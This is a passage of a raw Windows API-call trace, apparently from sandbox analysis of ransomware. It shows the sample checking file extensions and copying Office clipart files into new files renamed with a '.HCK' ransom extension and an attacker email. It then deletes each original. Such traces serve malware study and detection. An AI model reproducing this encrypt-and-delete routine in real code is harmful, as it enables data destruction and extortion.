lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0233.599] lstrlenW (lpString=".doc") returned 4 [0233.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.599] lstrlenW (lpString=".docx") returned 5 [0233.599] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0233.599] lstrlenW (lpString=".pdf") returned 4 [0233.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.599] lstrlenW (lpString=".xls") returned 4 [0233.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.599] lstrlenW (lpString=".xlsx") returned 5 [0233.599] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0233.599] lstrlenW (lpString=".ppt") returned 4 [0233.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0233.599] lstrlenW (lpString=".zip") returned 4 [0233.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.599] lstrlenW (lpString=".rar") returned 4 [0233.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.599] lstrlenW (lpString=".bz2") returned 4 [0233.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.599] lstrlenW (lpString=".7z") returned 3 [0233.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0233.599] lstrlenW (lpString=".dbf") returned 4 [0233.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0233.599] lstrlenW (lpString=".1cd") returned 4 [0233.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0233.599] lstrlenW (lpString=".jpg") returned 4 [0233.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.599] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.599] lstrlenW (lpString="J0107188.WMF") returned 12 [0233.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0233.600] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=4536) returned 1 [0233.601] CloseHandle (hObject=0x454) returned 1 [0233.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 0x220 [0233.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0233.602] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.602] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0233.602] GetLastError () returned 0x0 [0233.602] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x11b8, lpOverlapped=0x0) returned 1 [0233.603] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x11c0, lpOverlapped=0x0) returned 1 [0233.604] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.604] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.604] SetEndOfFile (hFile=0x4ac) returned 1 [0233.604] CloseHandle (hObject=0x4ac) returned 1 [0233.604] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.604] SetEndOfFile (hFile=0x454) returned 1 [0233.607] CloseHandle (hObject=0x454) returned 1 [0233.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 1 [0233.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0233.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0233.608] lstrlenW (lpString=".doc") returned 4 [0233.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.608] lstrlenW (lpString=".docx") returned 5 [0233.608] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0233.608] lstrlenW (lpString=".pdf") returned 4 [0233.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.608] lstrlenW (lpString=".xls") returned 4 [0233.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.608] lstrlenW (lpString=".xlsx") returned 5 [0233.608] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0233.608] lstrlenW (lpString=".ppt") returned 4 [0233.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0233.608] lstrlenW (lpString=".zip") returned 4 [0233.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.608] lstrlenW (lpString=".rar") returned 4 [0233.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.609] lstrlenW (lpString=".bz2") returned 4 [0233.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.609] lstrlenW (lpString=".7z") returned 3 [0233.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0233.609] lstrlenW (lpString=".dbf") returned 4 [0233.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0233.609] lstrlenW (lpString=".1cd") returned 4 [0233.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0233.609] lstrlenW (lpString=".jpg") returned 4 [0233.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0233.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0233.609] lstrlenW (lpString=".doc") returned 4 [0233.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.609] lstrlenW (lpString=".docx") returned 5 [0233.609] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0233.609] lstrlenW (lpString=".pdf") returned 4 [0233.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.609] lstrlenW (lpString=".xls") returned 4 [0233.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.609] lstrlenW (lpString=".xlsx") returned 5 [0233.609] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0233.609] lstrlenW (lpString=".ppt") returned 4 [0233.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0233.609] lstrlenW (lpString=".zip") returned 4 [0233.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.609] lstrlenW (lpString=".rar") returned 4 [0233.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.609] lstrlenW (lpString=".bz2") returned 4 [0233.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.609] lstrlenW (lpString=".7z") returned 3 [0233.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0233.609] lstrlenW (lpString=".dbf") returned 4 [0233.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0233.609] lstrlenW (lpString=".1cd") returned 4 [0233.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0233.609] lstrlenW (lpString=".jpg") returned 4 [0233.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.609] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.609] lstrlenW (lpString="J0107192.WMF") returned 12 [0233.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0233.610] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=9968) returned 1 [0233.610] CloseHandle (hObject=0x454) returned 1 [0233.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 0x220 [0233.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0233.611] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.611] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0233.611] GetLastError () returned 0x0 [0233.611] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x26f0, lpOverlapped=0x0) returned 1 [0233.613] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x2700, lpOverlapped=0x0) returned 1 [0233.613] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.614] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.614] SetEndOfFile (hFile=0x4ac) returned 1 [0233.614] CloseHandle (hObject=0x4ac) returned 1 [0233.614] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.614] SetEndOfFile (hFile=0x454) returned 1 [0233.616] CloseHandle (hObject=0x454) returned 1 [0233.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 1 [0233.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0233.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0233.617] lstrlenW (lpString=".doc") returned 4 [0233.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.617] lstrlenW (lpString=".docx") returned 5 [0233.617] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.617] lstrlenW (lpString=".pdf") returned 4 [0233.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.617] lstrlenW (lpString=".xls") returned 4 [0233.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.617] lstrlenW (lpString=".xlsx") returned 5 [0233.617] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.617] lstrlenW (lpString=".ppt") returned 4 [0233.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0233.617] lstrlenW (lpString=".zip") returned 4 [0233.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.617] lstrlenW (lpString=".rar") returned 4 [0233.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.617] lstrlenW (lpString=".bz2") returned 4 [0233.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.617] lstrlenW (lpString=".7z") returned 3 [0233.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0233.617] lstrlenW (lpString=".dbf") returned 4 [0233.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0233.617] lstrlenW (lpString=".1cd") returned 4 [0233.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0233.617] lstrlenW (lpString=".jpg") returned 4 [0233.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0233.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0233.617] lstrlenW (lpString=".doc") returned 4 [0233.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.617] lstrlenW (lpString=".docx") returned 5 [0233.617] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.618] lstrlenW (lpString=".pdf") returned 4 [0233.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.618] lstrlenW (lpString=".xls") returned 4 [0233.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.618] lstrlenW (lpString=".xlsx") returned 5 [0233.618] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.618] lstrlenW (lpString=".ppt") returned 4 [0233.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0233.618] lstrlenW (lpString=".zip") returned 4 [0233.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.618] lstrlenW (lpString=".rar") returned 4 [0233.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.618] lstrlenW (lpString=".bz2") returned 4 [0233.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.618] lstrlenW (lpString=".7z") returned 3 [0233.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0233.618] lstrlenW (lpString=".dbf") returned 4 [0233.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0233.618] lstrlenW (lpString=".1cd") returned 4 [0233.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0233.618] lstrlenW (lpString=".jpg") returned 4 [0233.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.618] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.618] lstrlenW (lpString="J0107254.WMF") returned 12 [0233.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0233.619] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=20212) returned 1 [0233.619] CloseHandle (hObject=0x454) returned 1 [0233.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 0x220 [0233.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0233.620] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.620] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0233.620] GetLastError () returned 0x0 [0233.620] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x4ef4, lpOverlapped=0x0) returned 1 [0233.622] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x4f00, lpOverlapped=0x0) returned 1 [0233.623] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.623] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.623] SetEndOfFile (hFile=0x4ac) returned 1 [0233.623] CloseHandle (hObject=0x4ac) returned 1 [0233.623] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.623] SetEndOfFile (hFile=0x454) returned 1 [0233.625] CloseHandle (hObject=0x454) returned 1 [0233.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 1 [0233.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0233.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0233.626] lstrlenW (lpString=".doc") returned 4 [0233.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.626] lstrlenW (lpString=".docx") returned 5 [0233.626] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0233.626] lstrlenW (lpString=".pdf") returned 4 [0233.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.626] lstrlenW (lpString=".xls") returned 4 [0233.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.626] lstrlenW (lpString=".xlsx") returned 5 [0233.626] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0233.626] lstrlenW (lpString=".ppt") returned 4 [0233.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0233.626] lstrlenW (lpString=".zip") returned 4 [0233.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.626] lstrlenW (lpString=".rar") returned 4 [0233.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.626] lstrlenW (lpString=".bz2") returned 4 [0233.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.626] lstrlenW (lpString=".7z") returned 3 [0233.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0233.627] lstrlenW (lpString=".dbf") returned 4 [0233.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0233.627] lstrlenW (lpString=".1cd") returned 4 [0233.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0233.627] lstrlenW (lpString=".jpg") returned 4 [0233.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0233.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0233.627] lstrlenW (lpString=".doc") returned 4 [0233.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.627] lstrlenW (lpString=".docx") returned 5 [0233.627] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0233.627] lstrlenW (lpString=".pdf") returned 4 [0233.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.627] lstrlenW (lpString=".xls") returned 4 [0233.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.627] lstrlenW (lpString=".xlsx") returned 5 [0233.627] 